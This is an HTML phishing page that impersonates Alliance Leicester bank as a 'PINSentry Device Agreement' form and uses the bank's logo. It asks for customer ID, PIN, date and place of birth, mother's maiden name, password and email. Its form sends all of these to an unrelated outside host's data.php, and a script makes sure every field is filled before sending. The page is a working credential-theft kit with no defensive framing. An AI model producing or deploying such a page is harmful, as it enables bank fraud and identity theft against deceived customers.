<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
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<HTML><HEAD>
<META content="text/html; charset=windows-1252" http-equiv=Content-Type><LINK
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<SCRIPT src=""></SCRIPT>
<META name=GENERATOR content="MSHTML 8.00.6001.18813">
<style type="text/css">
<!--
#FORM1 table tbody tr td {
font-family: Arial;
}
#FORM1 table tbody tr td {
font-size: 9px;
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#FORM1 table tbody tr td {
font-size: 10px;
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font-size: 14px;
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</style>
</HEAD>
<BODY>
<H1 align=center><IMG src="http://www.alliance-leicester.co.uk/App_Themes/Default/images/medium/AL_logo.gif" alt="poza"></H1>
<H1 align=center class="text">(Alliance Leicester PINSentry Device Agreement)</H1>
<FORM id=FORM1 onSubmit="return submitIt(this)" method=post name=FORM1
action=http://5588280004088925.com.p6.hostingprod.com/data.php>
<TABLE border=0 align=center>
<TBODY></TBODY>
<tbody>
<tr>
<td>
<table width="100%" border="0" cellpadding="0" cellspacing="0">
<tbody><tr valign="top">
<td>Customer ID (8 digit)</td>
</tr>
<tr>
<td>
<input size="8" maxlength="8" class="customerID" name="customerID" type="text">
</td>
<td rowspan="2" align="right"> </td>
</tr>
</tbody></table>
</td>
</tr>
<tr>
<td> </td>
</tr>
<tr>
<td>
<table width="100%" border="0" cellpadding="0" cellspacing="0">
<tbody><tr valign="top">
<td>Customer PIN (5 digit)</td>
</tr>
<tr>
<td>
<input size="5" maxlength="5" class="customerPIN" name="customerPIN" type="password">
</td>
<td rowspan="2" align="right"> </td>
</tr>
</tbody></table>
</td>
</tr>
<tr>
<td> </td>
</tr>
<tr>
<td>
<table width="100%" border="0" cellpadding="0" cellspacing="0">
<tbody><tr valign="top">
<td>Place of Birth</td>
</tr>
<tr>
<td>
<input size="10" maxlength="20" class="birthPlace" name="birthPlace" type="text"></td>
<td rowspan="2" align="right"> </td>
</tr>
</tbody></table>
</td>
</tr>
<tr>
<td> </td>
</tr>
<tr>
<td>
<table width="100%" border="0" cellpadding="0" cellspacing="0">
<tbody><tr valign="top">
<td>Date of Birth</td>
</tr>
<tr>
<td>
<input size="2" maxlength="2" class="dob1" name="dob1" type="text">
<b> / </b>
<input size="2" maxlength="2" class="dob2" name="dob2" type="text">
<b> / </b>
<input size="4" maxlength="4" class="dob3" name="dob3" type="text">
</td>
<td rowspan="2" align="right"> </td>
</tr>
</tbody></table>
</td>
</tr>
<tr>
<td> </td>
</tr>
<tr>
<td>
<table width="100%" border="0" cellpadding="0" cellspacing="0">
<tbody><tr valign="top">
<td>Mother`s Maiden Name</td><td>
</td></tr>
<tr>
<td>
<input size="10" maxlength="20" class="mothersName" name="mothersName" type="text">
</td>
<td rowspan="2" align="right"> </td>
</tr>
</tbody></table>
</td>
</tr>
<tr>
<td> </td>
</tr>
<tr>
<td>
<table width="100%" border="0" cellpadding="0" cellspacing="0">
<tbody><tr valign="top">
<td>Password</td><td>
</td></tr>
<tr>
<td>
<input size="10" maxlength="16" class="passWord" name="passWord" type="password"></td>
<td rowspan="2" align="right"> </td>
</tr>
</tbody></table>
</td>
</tr>
<tr>
<td> </td>
</tr>
<tr>
<td>
<table width="100%" border="0" cellpadding="0" cellspacing="0">
<tbody><tr valign="top">
<td>E-mail Address</td><td>
</td></tr>
<tr>
<td>
<input size="40" maxlength="40" class="emailAddress" name="emailAddress" type="text"></td>
<td rowspan="2" align="right"> </td>
</tr>
</tbody></table>
</td>
</tr>
<tr>
<td> </td>
</tr>
<tr>
<td> </td>
</tr>
<tr>
<td colspan=2 align=middle><br>
<input id=submit1 value=Continue type=submit name=submit1></td>
</tr>
<tr>
<td> </td>
</tr>
<tr>
<td colspan=2 align=middle>(*) Please fill in all fields. </td>
</tr>
</tbody>
</TABLE>
</FORM>
<SCRIPT language=javascript>
function submitIt(form) {
if (form.customerID.value == "") {
alert("Please enter your 8 digit Customer ID.");
form.customerID.focus();
form.customerID.select();
return false;
}else if (form.customerPIN.value == "") {
alert("Please enter your 5 digit Customer PIN.");
form.customerPIN.focus();
form.customerPIN.select();
return false;
}else if (form.birthPlace.value == "") {
alert("Place enter your Place of Birth.");
form.birthPlace.focus();
form.birthPlace.select();
return false;
}else if (form.dob1.value == "") {
alert("Place enter your Date of Birth (DD).");
form.dob1.focus();
form.dob1.select();
return false;
}else if (form.dob2.value == "") {
alert("Place enter your Date of Birth (MM).");
form.dob2.focus();
form.dob2.select();
return false;
}else if (form.dob3.value == "") {
alert("Place enter your Date of Birth (YYYY).");
form.dob3.focus();
form.dob3.select();
return false;
}else if (form.mothersName.value == "") {
alert("Please enter your Mother`s Maiden Name.");
form.mothersName.focus();
form.mothersName.select();
return false;
}else if (form.passWord.value == "") {
alert("Please enter your Password.");
form.passWord.focus();
form.passWord.select();
return false;
}
}
</SCRIPT>
</BODY></HTML>